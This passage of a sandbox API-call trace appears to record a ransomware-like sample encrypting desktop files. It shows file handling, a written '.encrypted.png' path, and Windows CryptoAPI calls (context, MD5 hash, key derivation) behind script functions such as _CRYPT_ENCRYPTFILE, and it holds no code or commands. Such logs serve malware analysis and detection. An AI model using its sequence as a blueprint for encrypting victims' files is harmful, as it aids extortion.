wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.269] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.270] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.270] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.270] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.271] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.271] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.271] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.271] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.271] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.271] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.271] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.271] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0022.271] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0022.272] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=535) returned 1 [0022.272] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.272] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0022.272] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0022.272] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x217, lpOverlapped=0x0) returned 1 [0022.272] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0022.272] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x217, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.272] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=535) returned 1 [0022.272] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png\r\n", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0022.272] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png\r\n", cchWideChar=50, lpMultiByteStr=0xe8f404ba10, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\7tLy.encrypted.png\r\n", lpUsedDefaultChar=0x0) returned 50 [0022.272] WriteFile (in: hFile=0x188, lpBuffer=0xe8f4051040*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051040*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x31, lpOverlapped=0x0) returned 1 [0022.272] CloseHandle (hObject=0x188) returned 1 [0022.273] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.273] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.274] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.274] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.274] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.274] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0022.274] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.274] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0022.275] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0022.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178400, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0022.275] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0022.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178580, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0022.275] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0022.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.bmp", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0022.275] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.bmp", cchWideChar=49, lpMultiByteStr=0xe8f404be10, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.bmp", lpUsedDefaultChar=0x0) returned 49 [0022.276] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.bmp" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\b1drbf6bjih2t5r.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=49, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 49 [0022.276] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=49, lpWideCharStr=0xe8f4062aa0, cchWideChar=49 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\b1DrBF6BJiH2t5R.bmp") returned 49 [0022.276] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.277] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.277] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.277] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0022.277] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0022.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0022.277] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0022.277] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0022.277] CloseHandle (hObject=0x188) returned 1 [0022.278] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0022.278] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0022.278] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0022.278] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0022.278] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.278] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0022.278] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0022.278] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.278] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.278] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.278] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.278] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.278] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0022.278] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0022.278] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0022.278] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.278] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.278] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.278] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.279] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0022.279] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.279] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.279] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.279] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.279] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.279] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0022.279] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.279] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.279] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.279] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0022.279] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.279] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.279] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.279] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.279] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.279] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.279] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.279] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.280] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.280] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.280] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.280] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.280] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.280] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.280] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.281] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.281] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.281] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.281] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.281] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.281] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.281] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.281] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b240, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.281] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.281] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.281] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", 